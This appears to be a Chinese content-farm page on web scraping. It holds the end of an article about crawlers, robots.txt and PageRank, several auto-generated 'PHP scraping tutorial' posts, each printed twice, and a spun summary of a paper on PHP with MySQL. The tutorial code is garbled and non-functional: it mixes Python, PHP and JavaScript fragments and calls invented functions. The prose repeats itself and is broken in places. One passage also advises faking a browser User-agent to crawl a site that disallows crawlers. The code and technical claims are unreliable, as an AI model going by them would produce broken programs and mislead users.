  三、守规矩的爬虫才是好爬虫
  当一个爬虫活动过于频繁时,会造成网络交通堵塞,因此一些网站很反感陌生的爬虫。怎么样限制陌生爬虫的行为呢?答案就在目标网站根目录的"robot.txt"文件里面,这个文件规定了爬虫应该遵守的条款。当正常的爬虫开始爬取网页信息时,会首先检查robot.txt的规定并且遵守它。例如百度的robot.txt是这样的:
  可见百度只允许少数几个搜索引擎访问,所以直接用第二节的方法爬取百度首页是会被拒绝的。如果确实有批量作业的必要,则应该把爬虫的“User-agent”改为上述任一浏览器的字符串,以模仿浏览器访问的过程,并且限定爬虫的活动频率。
  有的坏爬虫(Bad bots)直接无视掉robot.txt里的约束,肆无忌惮地爬取网页信息,不仅可能造成网络瘫痪,还会出现安全隐患。如何过滤掉这些爬虫,是网络安全领域的一大课题,尤其是高级的爬虫会使用分布式技术(多个客户端分别爬取网页,用以防止IP被查封)和抓取AJAX(用以模仿JavaScript以爬取动态网页)等,这就使得反爬虫的工作变得十分具有挑战性。
  
  把坏爬虫抓出来。图片源自网络
  有趣的是,几乎每个大型网站都会有对应的robot.txt,而这些文件能在一定程度上反映出不同网站开发者的偏好。有兴趣的读者可以自行分析。
  四、完整的搜索引擎
  搜索引擎要做的当然不止普通爬虫那么简单。读者可以思考一下,当你在百度上输入关键词“谢雕英雄传”时,搜索出的结果会是“射雕英雄传”,怎么做到的呢?显然还需要文字和网页的预处理(Preporcessing)。另一方面,能匹配关键词的网页太多了,总得有个先后次序吧。这就是网页的排序(Ranking)问题[3]。
  预处理通常有三个步骤,第一是把网页中的文字编号(indexing),这样匹配关键词就变成了寻找编号的的问题;第二是关键词溯源(stemming),例如去掉“的”、“我”和标点符号等不重要符号限制;第三是提取网页中的关键信息。要记住,浏览器眼中的网页永远都是一堆代码,所以需要过滤掉标签符号、超链接和网页排版布局等冗杂信息。
  网页排序的算法有很多,不同浏览器使用的算法也有不同,但核心都是一样的——把网络看作有向图(小编在《爱因斯坦vs阿尔法狗》[4]中提到过,这里又出现了)。网页是有向图的节点,如果网页A上有指向网页B的链接,那么就形成了一条节点A到节点B的箭头,有向图就这么被产生了。
  
  可以看出,[4]中的神经网络其实只是网络的一个特例。如果一个网页(节点)的链接出现在其他很多网页上,说明这个网页很受欢迎,理应得到较高的排名。事实上我们可以把这一过程用马尔可夫链(Markov Chain)表示出来。以谷歌的PageRank算法为例[5]:
  
  由马尔科夫链的遍历性定理可知,当矩阵A满足不可约和渐进无周期条件时(irreducible和aperiodic,也就是网络连通,且当经历的链接够多时两个网页的深度只相差1),以上关于向量P(把P看作向量,分量加起来为1)的方程一定存在稳定解。稳定解(或者收敛性)是计算工作者们的最爱,因为有了稳定解以后,就可以通过迭代算法把这个稳定解找出来,从而得到网页排序!
  一帆风顺的事并没有那么多,因为用上面这一方法定义出来的A未必不可约。这就是为什么要额外加一项d,把右边这个矩阵活生生地变得不可约。这就是PageRank算法的精妙之处——看起来很简单,但简单的智慧往往可以创造出巨大的功效。这也是小编所希望追求的数学——简单,但普适性很高。
  
  PageRank大致效果。图片源自网络。
  当然,这只是最原始的PageRank算法。由于不少网站利用这一算法的特点,来千方百计增加自己的排名(例如把字体和网页背景色设置为一样的颜色以欺骗搜索引擎),谷歌也不断在更新自己的算法,以达到精准和快速两大目的。两者之间的相互较量也构成了网络领域的另一个课题,即垃圾链接和垃圾邮件的清理。其中又有很多手段,在此不一一介绍了。
  五、总结和其他
  如果读者能够读懂整篇文章,那么恭喜,你已经大体掌握了网页的本质、简单爬虫的实现和搜索引擎的工作原理这三大互联网基础知识,可以准确地搜集自己想要的数据了。比起满目琳琅的数据处理和分析手段,数据的搜集方式简单粗暴,一学就会!
  大数据时代,程序员可谓是十分吃香的行业,入门快且收入高,再多繁忙也可一笔勾销。但不同于传统学科,计算机语言的发展更新速度十分迅猛,同一种语言的不同版本都可能发生巨大的变化。例如小编在学习计算机系统的经典教材Computer Systems A programmer's Perspective(《深入理解计算机系统》)时,在线程控制(Thread Control)那一章花了不少时间,因为稍不注意就会发生内存崩溃。
  
  相信通过这幅图能找到不少同道中人
  后来发现了mpi和openmp这两个神奇的工具后,就再也没用过"Ptheread_join"(加入线程)和"Ptheread_exit"(退出线程)这些老掉牙的命令。和细胞生物学类似(在小编另一篇文章《护肤与保养》[6]中提到过),计算机语言也具有高度可变性,我们需要与时俱进,做好学习新知识的准备。
  作为新时代的弄潮儿,生物和计算机领域的人才需求量是巨大的,这两个学科之间交相辉映相辅相成,颇有几分上个世纪数学和物理相互促进共同进步的味道。它们能给21世纪带来怎样的变革?我们在拭目以待的同时,也应当做好应对各种变化的准备。古诗云:
  李杜诗篇万口传,至今已觉不新鲜。
  江山代有才人出,各领风骚数百年。
  古人尚有此等远见,更何况这个沐浴在大数据海洋中,充满了机遇与挑战的时代?

requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象

网站优化优采云 发表了文章 • 0 个评论 • 48 次浏览 • 2022-05-20 20:01 • 来自相关话题

  requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象
  php抓取网页数据实例代码#usestringfromurllibimportrequest#fromstringimportcontentfromurllib。requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象,等同于真正的url#对这个对象进行渲染抓取数据数据抓取打算抓取百度新闻最新的2016-9-5到2016-9-15这段时间的数据#抓取百度百科2017-9-1到2017-9-30的数据下面以2016-9-15时间段的数据作为打算的抓取模拟#模拟抓取一段时间的内容frombs4importbeautifulsoupimportre#规定模拟的url的格式为以下frombs4importetree#导入百度搜索信息流广告adsense#数据获取方式defget_data(url):#request_token:strpath='d:\\users\\administrator\\desktop\\grazing_mozilla_v12。
  0\\documents\\http'response=etree。html(request_token)base_text=etree。html(base_text)#获取和下载html源码text=etree。html(text)url=';statistics=true&search=&src='#抓取某些特定字段#请求头参数里包含需要的参数比如:user_agentparams={"user-agent":"mozilla/5。
  0(windowsnt6。1;wow64)applewebkit/537。36(khtml,likegecko)chrome/24。2724。103safari/537。36"}base_text=params["user-agent"]#这个表示返回的表示此个请求的所有有效参数base_text=base_text#返回该请求所需要的所有内容urlopen(url,headers=params)#例如模拟一个get请求forbase_textinbase_text:urlopen(url,body=base_text)#request_token:数据包含这个base_text信息的http头部字段response=etree。
  html(request_token)print('dataloading')returndata#返回下载到一个目录,image_threads,send_mail,post_image'''image_threads=[]'''#image_threads。append(trim(data))url=';filename='+url+'&message='+path+'&__bid=2222'#year_threads=[]#year_threads。
  append(path+trim(data))url=';filename='+path+'&__bid=2222'response=etree。html(response)returndata#返回格式化完之后再看看值格式response。decode('utf-8')response。encode('utf-8')response。dec。 查看全部

  requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象
  php抓取网页数据实例代码#usestringfromurllibimportrequest#fromstringimportcontentfromurllib。requestimporturlopen#导入stringfromrequestimportpost,datafromstringimportbase64#建立个模拟url对象,等同于真正的url#对这个对象进行渲染抓取数据数据抓取打算抓取百度新闻最新的2016-9-5到2016-9-15这段时间的数据#抓取百度百科2017-9-1到2017-9-30的数据下面以2016-9-15时间段的数据作为打算的抓取模拟#模拟抓取一段时间的内容frombs4importbeautifulsoupimportre#规定模拟的url的格式为以下frombs4importetree#导入百度搜索信息流广告adsense#数据获取方式defget_data(url):#request_token:strpath='d:\\users\\administrator\\desktop\\grazing_mozilla_v12。
  0\\documents\\http'response=etree。html(request_token)base_text=etree。html(base_text)#获取和下载html源码text=etree。html(text)url=';statistics=true&search=&src='#抓取某些特定字段#请求头参数里包含需要的参数比如:user_agentparams={"user-agent":"mozilla/5。
  0(windowsnt6。1;wow64)applewebkit/537。36(khtml,likegecko)chrome/24。2724。103safari/537。36"}base_text=params["user-agent"]#这个表示返回的表示此个请求的所有有效参数base_text=base_text#返回该请求所需要的所有内容urlopen(url,headers=params)#例如模拟一个get请求forbase_textinbase_text:urlopen(url,body=base_text)#request_token:数据包含这个base_text信息的http头部字段response=etree。
  html(request_token)print('dataloading')returndata#返回下载到一个目录,image_threads,send_mail,post_image'''image_threads=[]'''#image_threads。append(trim(data))url=';filename='+url+'&message='+path+'&__bid=2222'#year_threads=[]#year_threads。
  append(path+trim(data))url=';filename='+path+'&__bid=2222'response=etree。html(response)returndata#返回格式化完之后再看看值格式response。decode('utf-8')response。encode('utf-8')response。dec。

php抓取网页数据实例教程1:图片img_content属性获取地址

网站优化优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-05-16 05:06 • 来自相关话题

  php抓取网页数据实例教程1:图片img_content属性获取地址
  php抓取网页数据实例教程1:图片数据抓取百度一张图片的时候,需要用http请求,ftp传输给服务器,为了我们更方便,使用下面这种方法可以对所有图片的数据进行抓取。获取图片(含水印地址):img::img_map.xml#获取图片img_content属性获取水印地址:ps:目录和全局变量是获取图片需要的,仅供参考百度关键字的地址::传输数据抓取图片img_content:;:params{//全局变量,该变量后面会跟一个参数$trig_url,该参数保存上图数据的url。
  $trig_params,$trig_url'','全局变量=$trig_url'''range('start',$trig_url);trig_params传入链接的内容。'range('end',$trig_url)''';'[params|trig_params]'';'}输出结果:123flask抓取网页数据实例教程2:名称与分组php抓取网页数据实例教程2:客户端名称与分组#客户端名称抓取letusername='g';#主程序名称letpath='/proxy/';#客户端路径letclient=newproxyaddress(path,'127.0.0.1');//路由sets("/",path);//url对象的变量proxyaddress.length>=3;//响应是对应的字符串,该变量可能在less文件里lessinstance=newproxyaddress(username,path);//基于信任的源路由lesstarget=client.basepath(username);//自定义path可以是任何id,实例化target对象sets("/",target);//以上两句必须为空sets("/","/");//是说是基于path对象的子id对应的单元格sets("/",client.getheader());//获取请求第一个字符/index,后面字符,最后一个字符$values=path.getvalues(username,path.abspath($target));//获取请求第一个字符是单元格,后面字符,最后一个字符sets("/","/");//请求图片属性都会存到这个字符串上,返回值是id值,正则匹配$results=path.getret($client);//获取数据抓取方法foreach($i=$values;$j=0;$g=0;$num=$i-1;$time=requregetformer($target,$values));//打印抓取数据//命令行的输入,$j,$g,$time,$num表示同步采样$j=requregetformer($target,$values);//用numbern去替换前面的$j\n$g=requregetformer($target,$values);//用boolean%去替换前面的$g\n$num=requregetformer($target,$values);//用b。 查看全部

  php抓取网页数据实例教程1:图片img_content属性获取地址
  php抓取网页数据实例教程1:图片数据抓取百度一张图片的时候,需要用http请求,ftp传输给服务器,为了我们更方便,使用下面这种方法可以对所有图片的数据进行抓取。获取图片(含水印地址):img::img_map.xml#获取图片img_content属性获取水印地址:ps:目录和全局变量是获取图片需要的,仅供参考百度关键字的地址::传输数据抓取图片img_content:;:params{//全局变量,该变量后面会跟一个参数$trig_url,该参数保存上图数据的url。
  $trig_params,$trig_url'','全局变量=$trig_url'''range('start',$trig_url);trig_params传入链接的内容。'range('end',$trig_url)''';'[params|trig_params]'';'}输出结果:123flask抓取网页数据实例教程2:名称与分组php抓取网页数据实例教程2:客户端名称与分组#客户端名称抓取letusername='g';#主程序名称letpath='/proxy/';#客户端路径letclient=newproxyaddress(path,'127.0.0.1');//路由sets("/",path);//url对象的变量proxyaddress.length>=3;//响应是对应的字符串,该变量可能在less文件里lessinstance=newproxyaddress(username,path);//基于信任的源路由lesstarget=client.basepath(username);//自定义path可以是任何id,实例化target对象sets("/",target);//以上两句必须为空sets("/","/");//是说是基于path对象的子id对应的单元格sets("/",client.getheader());//获取请求第一个字符/index,后面字符,最后一个字符$values=path.getvalues(username,path.abspath($target));//获取请求第一个字符是单元格,后面字符,最后一个字符sets("/","/");//请求图片属性都会存到这个字符串上,返回值是id值,正则匹配$results=path.getret($client);//获取数据抓取方法foreach($i=$values;$j=0;$g=0;$num=$i-1;$time=requregetformer($target,$values));//打印抓取数据//命令行的输入,$j,$g,$time,$num表示同步采样$j=requregetformer($target,$values);//用numbern去替换前面的$j\n$g=requregetformer($target,$values);//用boolean%去替换前面的$g\n$num=requregetformer($target,$values);//用b。

php爬虫深入理解php.js解析原理及网站实例使用

网站优化优采云 发表了文章 • 0 个评论 • 54 次浏览 • 2022-04-30 16:01 • 来自相关话题

  php爬虫深入理解php.js解析原理及网站实例使用
  php抓取网页数据实例-登录-详细讲解下基本php代码:require'php7。2';content_uri=':8080/';data=${content_uri};for($i=0;$idata=${$data['a-z']};}data=php_exec_all($data);echo$data;}代码运行结果:随意选取截图如下:完整代码:if(isset($_server['http_status'])){curl_setopt($_server['http_status'],40。
  4);curl_setopt($_server['http_status'],40
  4);}
  这篇文章,专门讲php爬虫的。
  看这一篇文章php爬虫深入理解php.js解析原理及网站实例
  使用requests库
  分析页面源码,发现可以提取关键字。
  百度知道,共402个问题抓取
  pythonweb框架比较好的有flask,webxz,tornado,web.py.等,但是对于不熟悉的人来说,如果要自己去设计爬虫代码不是很容易把握,所以不建议。下面是我写的一个爬虫代码,供参考。 查看全部

  php爬虫深入理解php.js解析原理及网站实例使用
  php抓取网页数据实例-登录-详细讲解下基本php代码:require'php7。2';content_uri=':8080/';data=${content_uri};for($i=0;$idata=${$data['a-z']};}data=php_exec_all($data);echo$data;}代码运行结果:随意选取截图如下:完整代码:if(isset($_server['http_status'])){curl_setopt($_server['http_status'],40。
  4);curl_setopt($_server['http_status'],40
  4);}
  这篇文章,专门讲php爬虫的。
  看这一篇文章php爬虫深入理解php.js解析原理及网站实例
  使用requests库
  分析页面源码,发现可以提取关键字。
  百度知道,共402个问题抓取
  pythonweb框架比较好的有flask,webxz,tornado,web.py.等,但是对于不熟悉的人来说,如果要自己去设计爬虫代码不是很容易把握,所以不建议。下面是我写的一个爬虫代码,供参考。

php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)

网站优化优采云 发表了文章 • 0 个评论 • 53 次浏览 • 2022-04-18 07:11 • 来自相关话题

  php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)
  PHP and MYSQL To] 介绍了PHP技术和MYSQL数据库,给出了使用PHP和MYSQL实现web数据库的具体方法,并举例说明。【关键词】PHPMYSQL网页数据库介绍在客户端使用普通浏览器,通过Internet或Intranet,访问网络数据库中的数据,有很多解决方案,如传统的CGI方式、ADC、IDC、 ISAPI、ASP方法等。尤其是ASP应用广泛,但ASP是基于微软的操作系统。目前,PHP这种跨平台的服务器端脚本技术在世界范围内很流行。网站 使用 PHP 的人数已经超过 80 万,而且还在不断增加。PHP与MYSQL数据库的结合,可以轻松实现网页数据库。一起,这两件事是开发数据驱动工作的最佳组合网站。PHP 技术 PHP 全称为 Personal Home Page,是一种跨平台的服务器端脚本技术。PHP 于 1995 年发布使用,1998 年成为成熟的软件产品。它最初是一个人用 Perl 编写的“包装器”程序,用于编写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。
  PHP有一个很重要的特点,就是PHP具有非常强大的数据库操作功能,可以直接连接各种数据库,并且完全支持ODBC。此功能是其他脚本语言无法比拟的。PHP 最强大和最具代表性的特性是它的数据库层,它内置了对许多数据库的支持,不再需要特殊的扩展,使得编写基于数据库的网页变得非常简单。PHP目前支持的数据库有Oracl AdabasD、Sybase、Fi ePro、mSQL、Velocis、MySQL、In2 formix、Sol d、dBase、ODBC、Unix、dbm、PostgreSQL、MS SQL RVR等。每个数据库都有一套用于数据库访问和操作的功能。MYSQL 数据库 在众多的数据库服务器软件中,MYSQL 是一种特殊的软件。MYSQL 是在 MSQL 的基础上扩展而来的。它是一个支持标准 ANSI SQL 语句的小型数据库服务器。它之所以特别是因为:首先,MYSQL 是免费的,您可以在其网站 mysql com 上免费下载和使用它。二是多平台。在WIN95/98平台下作为普通进程运行,在NT下作为系统服务运行,在UNIX/LINUX下作为多线程运行。
  很多 PHP 用户觉得在开发数据驱动网站 时使用 PHP 和 MYSQL 是最好的组合。MYSQL 是一个真正的多用户、多线程的 SQL 数据库服务器。SQL(结构化查询语言)是世界上最流行和最标准化的数据库语言。MYSQL 是一个客户端-服务器架构的实现,它由一个服务器守护进程 mysql 和许多不同的客户端程序和库组成。SQL 是一种标准化语言,可以更轻松地存储、更新和访问信息。例如,您可以使用 SQL 语言来检索产品信息和存储网站的客户信息,而 MYSQL 足够快速和灵活,可以让您存储日志文件和图像。MYSQL 的主要目标是快速、健壮和易于使用。MYSQL 建立在一组实用程序的基础上,这些程序已在要求苛刻的生产环境中使用了多年。尽管 MYSQL 仍在开发中,但它已经提供了丰富且极其有用的功能集。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。
  小文件大小受限于操作系统:Linux 2G、Solari 4G、Solari 多语言支持。MYSQL的主要功能有:mysql-connect(主机、用户名、密码)。返回一个连接号。mysql-create-db(数据库名称) mysql-select-db(数据库名称,连接号)。连接到数据库。mysql-query(SQL 语句,连接号)。如果 SQL 语句为 select,则返回结果编号。否则,可以忽略返回值。失败时,返回 false。mysql-fetch-array(result_number)。取下一行并返回一个数组。可以用数字下标访问(第一个字段如下。如果最后一行已经被取走,则返回false。eld(结果编号,[字段编号]mysql-num-rows mysql-num-fi el ds(结果编号) ) st-dbs() st-tables (数据库名) (10)mysql-close (连接号) (11) mysql-pconnect(host,username,password)) 以Windows98 MySQL为操作环境讨论web数据库的实现。搭建MySQL数据库通过一个电话号码网页数据库的简单例子,介绍如何使用PHP和MYSQL开发基于数据库的web。首先,必须有一个数据库。
  使用 MYSQL 建立电话号码数据库。在MYSQL命令状态下,输入以下内容:mysql CreateDatabase phonedb; 通过刚才的命令创建了一个phonedb ID为自动号码,name为姓名,tel ephone为家庭电话号码,具体操作如下:mysql usephonedb; Mysql CreateTabl ephonetabl ntauto -increment 主键 namevarchar >telephone varchar(7) ntophonetabl values( ntophonetabl values(php访问phonedb数据库mysql phone.php3的源码程序如下:mysql-connect ocalhost”,” root”, mysql-select- db(”phonedb”, $DB) “select romphonetable”) $DBTrownum=mysql -num- rows( $DBT) etch-row( $DBT) echo” $DBTrow[ $DB2Trow[ mysql- close($DB) 2000 11 localhost/test/phoe.php Act 11 输出和打印输出。
  显然,根据每个命题公式的标签,这可以更方便地实现。[1] 方世昌主编。1 离散数学 1 西安:西安电子科技大学出版社,1996 王家洋:中南大学信息与工程学院,副教授。主要研究领域:多媒体技术与网络数据库。邮编:410083 蒋外文:中南大学信息与工程学院,副教授。邮编:410083(收稿日期:2000-09-22) 责任编辑:李乃赫(上接第2页) 结束语 WEB页面与数据库的连接可以用PHP轻松完成,由于示例使用了MYSQL数据库,所以关于数据库操作的语句都是以mysql-开头的,如果你使用其他类型的数据库,可以使用类似的函数,比如sybase-connect、sybase-selectdb()等。总之,操作各种数据库的函数都很相似,也有细微的差别,容易记忆。[1] 网盛工作室编辑。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。
  邮编:570228 杜玉宽:海南大学信息学院。邮编:570228 孙胜杰:海南大学信息学院。邮编:570228(收稿日期:2000-09-28) 责任编辑:李乃和(上接第4页) 提高整个计算机系统的性能,使连接的计算机系统具有网络功能和数据库功能、超文本功能、多媒体功能和开放性、交互性、实时动态。在几种数据库发布技术中,基于CORBA的数据库发布技术将是未来研究的重点。Comer1INTERNET指南1北京:清华大学出版社,1995[ 2] 蔡万东 1 HTTP 协议传输机制与超文本链研究 1 微电子与计算机,1997 /cgi html [4] Javasoft Inc., JDBCA Java SQL API,1996 年 10 月 22 日 [5]ht tp omg00/成员列表 htm[6]ht tp omg00/wicorba.ht [7]http library/schedule.htm [8]ht tp library/times.htm [9 ]ht tp omg00/ omaov.htm 乔培力:哈尔滨科技大学计算机与控制学院,教授。邮编:150080 李成彦:哈尔滨科技大学计算机与控制学院,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 查看全部

  php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)
  PHP and MYSQL To] 介绍了PHP技术和MYSQL数据库,给出了使用PHP和MYSQL实现web数据库的具体方法,并举例说明。【关键词】PHPMYSQL网页数据库介绍在客户端使用普通浏览器,通过Internet或Intranet,访问网络数据库中的数据,有很多解决方案,如传统的CGI方式、ADC、IDC、 ISAPI、ASP方法等。尤其是ASP应用广泛,但ASP是基于微软的操作系统。目前,PHP这种跨平台的服务器端脚本技术在世界范围内很流行。网站 使用 PHP 的人数已经超过 80 万,而且还在不断增加。PHP与MYSQL数据库的结合,可以轻松实现网页数据库。一起,这两件事是开发数据驱动工作的最佳组合网站。PHP 技术 PHP 全称为 Personal Home Page,是一种跨平台的服务器端脚本技术。PHP 于 1995 年发布使用,1998 年成为成熟的软件产品。它最初是一个人用 Perl 编写的“包装器”程序,用于编写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。
  PHP有一个很重要的特点,就是PHP具有非常强大的数据库操作功能,可以直接连接各种数据库,并且完全支持ODBC。此功能是其他脚本语言无法比拟的。PHP 最强大和最具代表性的特性是它的数据库层,它内置了对许多数据库的支持,不再需要特殊的扩展,使得编写基于数据库的网页变得非常简单。PHP目前支持的数据库有Oracl AdabasD、Sybase、Fi ePro、mSQL、Velocis、MySQL、In2 formix、Sol d、dBase、ODBC、Unix、dbm、PostgreSQL、MS SQL RVR等。每个数据库都有一套用于数据库访问和操作的功能。MYSQL 数据库 在众多的数据库服务器软件中,MYSQL 是一种特殊的软件。MYSQL 是在 MSQL 的基础上扩展而来的。它是一个支持标准 ANSI SQL 语句的小型数据库服务器。它之所以特别是因为:首先,MYSQL 是免费的,您可以在其网站 mysql com 上免费下载和使用它。二是多平台。在WIN95/98平台下作为普通进程运行,在NT下作为系统服务运行,在UNIX/LINUX下作为多线程运行。
  很多 PHP 用户觉得在开发数据驱动网站 时使用 PHP 和 MYSQL 是最好的组合。MYSQL 是一个真正的多用户、多线程的 SQL 数据库服务器。SQL(结构化查询语言)是世界上最流行和最标准化的数据库语言。MYSQL 是一个客户端-服务器架构的实现,它由一个服务器守护进程 mysql 和许多不同的客户端程序和库组成。SQL 是一种标准化语言,可以更轻松地存储、更新和访问信息。例如,您可以使用 SQL 语言来检索产品信息和存储网站的客户信息,而 MYSQL 足够快速和灵活,可以让您存储日志文件和图像。MYSQL 的主要目标是快速、健壮和易于使用。MYSQL 建立在一组实用程序的基础上,这些程序已在要求苛刻的生产环境中使用了多年。尽管 MYSQL 仍在开发中,但它已经提供了丰富且极其有用的功能集。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。
  小文件大小受限于操作系统:Linux 2G、Solari 4G、Solari 多语言支持。MYSQL的主要功能有:mysql-connect(主机、用户名、密码)。返回一个连接号。mysql-create-db(数据库名称) mysql-select-db(数据库名称,连接号)。连接到数据库。mysql-query(SQL 语句,连接号)。如果 SQL 语句为 select,则返回结果编号。否则,可以忽略返回值。失败时,返回 false。mysql-fetch-array(result_number)。取下一行并返回一个数组。可以用数字下标访问(第一个字段如下。如果最后一行已经被取走,则返回false。eld(结果编号,[字段编号]mysql-num-rows mysql-num-fi el ds(结果编号) ) st-dbs() st-tables (数据库名) (10)mysql-close (连接号) (11) mysql-pconnect(host,username,password)) 以Windows98 MySQL为操作环境讨论web数据库的实现。搭建MySQL数据库通过一个电话号码网页数据库的简单例子,介绍如何使用PHP和MYSQL开发基于数据库的web。首先,必须有一个数据库。
  使用 MYSQL 建立电话号码数据库。在MYSQL命令状态下,输入以下内容:mysql CreateDatabase phonedb; 通过刚才的命令创建了一个phonedb ID为自动号码,name为姓名,tel ephone为家庭电话号码,具体操作如下:mysql usephonedb; Mysql CreateTabl ephonetabl ntauto -increment 主键 namevarchar >telephone varchar(7) ntophonetabl values( ntophonetabl values(php访问phonedb数据库mysql phone.php3的源码程序如下:mysql-connect ocalhost”,” root”, mysql-select- db(”phonedb”, $DB) “select romphonetable”) $DBTrownum=mysql -num- rows( $DBT) etch-row( $DBT) echo” $DBTrow[ $DB2Trow[ mysql- close($DB) 2000 11 localhost/test/phoe.php Act 11 输出和打印输出。
  显然,根据每个命题公式的标签,这可以更方便地实现。[1] 方世昌主编。1 离散数学 1 西安:西安电子科技大学出版社,1996 王家洋:中南大学信息与工程学院,副教授。主要研究领域:多媒体技术与网络数据库。邮编:410083 蒋外文:中南大学信息与工程学院,副教授。邮编:410083(收稿日期:2000-09-22) 责任编辑:李乃赫(上接第2页) 结束语 WEB页面与数据库的连接可以用PHP轻松完成,由于示例使用了MYSQL数据库,所以关于数据库操作的语句都是以mysql-开头的,如果你使用其他类型的数据库,可以使用类似的函数,比如sybase-connect、sybase-selectdb()等。总之,操作各种数据库的函数都很相似,也有细微的差别,容易记忆。[1] 网盛工作室编辑。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。
